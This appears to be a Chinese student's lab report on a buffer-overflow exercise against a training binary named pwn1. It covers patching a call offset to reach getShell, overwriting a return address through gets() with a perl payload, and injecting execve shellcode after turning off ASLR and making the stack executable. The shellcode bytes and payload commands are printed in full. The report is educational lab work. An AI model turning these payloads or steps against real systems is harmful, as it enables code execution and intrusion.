20222922 2022-2023-2 《网络攻防实践》实践九报告

实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

三个实践内容如下:

  1. 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  2. 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  3. 注入一个自己制作的shellcode并运行这段shellcode。

实验要求

  1. 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
  2. 掌握反汇编与十六进制编程器
  3. 能正确修改机器指令改变程序执行流程
  4. 能正确构造payload进行bof攻击

实验过程

1、手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

在kali下使用objdump -d pwn1 | more对pwn1文件进行反汇编:
在这里插入图片描述
找到main函数和getshell函数(按Esc后输入/getShell进行搜索),可以看到在main函数中按照正常的运行顺序,执行到call处,EIP应该会指向0x08048ba + 0xffffffd7 = 0x08048491即foo函数的入口地址,所以我们需要修改该偏移量(0xffffffd7)使执行call后EIP指向0x080487d,即getShell函数入口,因此需要将0xffffffd7改为0xffffffc3(0x0804847d - 0x080484ba = 0xffffffc3):
在这里插入图片描述
将pwn1备份为pwn2,使用vim打开pwn2文件,看到的是乱码,结果如下图所示:
在这里插入图片描述
在这里插入图片描述
将乱码转化为16进制(按下Esc后输入:%!xxd),如下图所示,这个d7即我们需要修改的地址偏移量,所以将这个d7修改为c3(按下r进行替换),并对pwn2文件再次反汇编,查看修改后的结果是否正确:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
运行pwn1和pwn2文件,可以看到pwn2运行后获得shell,结果如下所示:
在这里插入图片描述

2、利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

使用objdump -d pwn1 | more将pwn1反汇编后查看foo函数,该函数的功能是调用gets读进用户输入的字符串然后用puts函数将字符串输出,但是该函数并没有检查用户输入,所以存在BOF漏洞。
观察反汇编出的汇编代码得知预留的局部变量的空间为0x38,而gets函数将读取到的字符串存放到0x1c(28个字节)处,根据堆栈结构,当输入字符串长度达到36时,第33~36个字节将会覆盖到EIP中:
在这里插入图片描述
在这里插入图片描述
使用gdb对pwn1进行调试,当输入长度为40的字符串“aaaaaaaabbbbbbbbccccccccddddddddeeeeeee”后出现段错误,查看各寄存器状态可以发现当前EIP寄存器的内容为0x65656565(“e”的ASCLL码的十六进制为65),因此可以说明当输入字符串过长时,第33~36个字节将会覆盖EIP的内容。
在这里插入图片描述
通过以上分析,只要将输入字符串的第33~36位设置为getShell函数的入口地址,便可以在foo函数返回直接跳转到getShell函数并运行。使用命令perl -e 'print "zzzzzzzzxxxxxxxxzzzzzzzzxxxxxxxx\x7d\x84\x04\x08\x0a"' > input生成十六进制字符串文件“input”,然后用(cat input; cat) | ./pwn1命令将input作为pwn1的输入,获得shell:
在这里插入图片描述

3、注入一个自己制作的shellcode并运行这段shellcode

首先使用execstack等命令设置堆栈可执行并关闭地址随机化:

命令作用
execstack -s pwn1将堆栈设为可执行状态
将堆栈设为可执行状态查看文件pwn1的堆栈是否是可执行状态
more /proc/sys/kernel/randomize_va_space查看地址随机化的状态
echo “0”> /proc/sys/kernel/randomize_va_space关闭地址随机化

其中需要注意的是,执行echo "0"> /proc/sys/kernel/randomize_va_space命令时需要root权限,这里需要提权sudo su:
在这里插入图片描述
在这里插入图片描述

构造要注入的shellcode,采用的构造方法是retaddr+nop+shellcode,即将shellode放到缓冲区后边的位置,使用的shellcode为\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
首先要确定retaddr的值,使用perl构造十六进制的37个字节的输入串perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode(这里的37个字节仅仅是为了获得retaddr),其中第33~36个字节即\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置,将这段字符作为pwn1的输入运行pwn1:
在这里插入图片描述
使用ps -ef | grep pwn1找到对应的进程号为17698:
在这里插入图片描述
根据pwn1的进程号使用gdb对其进行调试(attach 17698),通过设置断点,来查看注入字符串的内存地址。先用 disassemble foo 对foo函数进行反汇编,断点应该放到ret之前(因为返回的话就会执行POP EIP),把之前的\x4\x3\x2\x1 填入EIP中会发生段错误。然后用 break *0x080484ae 来设置断点。设置断点后继续运行,这里可能需要返回程序运行界面输入一个回车才能往下执行,程序在foo返回前停止,此时查看当前寄存器ESP的值(存放返回地址的位置/栈顶位置),根据ESP的值查看当前栈顶的值为0x01020304,所以确定retaddr的值应该为0xffffd16c+0x00000004=0xffffd170
在这里插入图片描述
在这里插入图片描述
构造shellcode:32个A+retaddr+nop+shellcode,\x70\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\0x00,如图所示,将其作为pwn1的输入,运行pwn1,得到shell:
在这里插入图片描述

三、学习中遇到的问题及解决

问题1:没有安装execstack命令。

问题1解决方案:使用sudo apt install execstack安装成功

问题2:执行more /proc/sys/kernel/randomize_va_space显示permission denied

问题2解决方案:使用sudo su提权

四、实践总结

学习实践了BOF漏洞攻击,复习了堆栈的知识。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值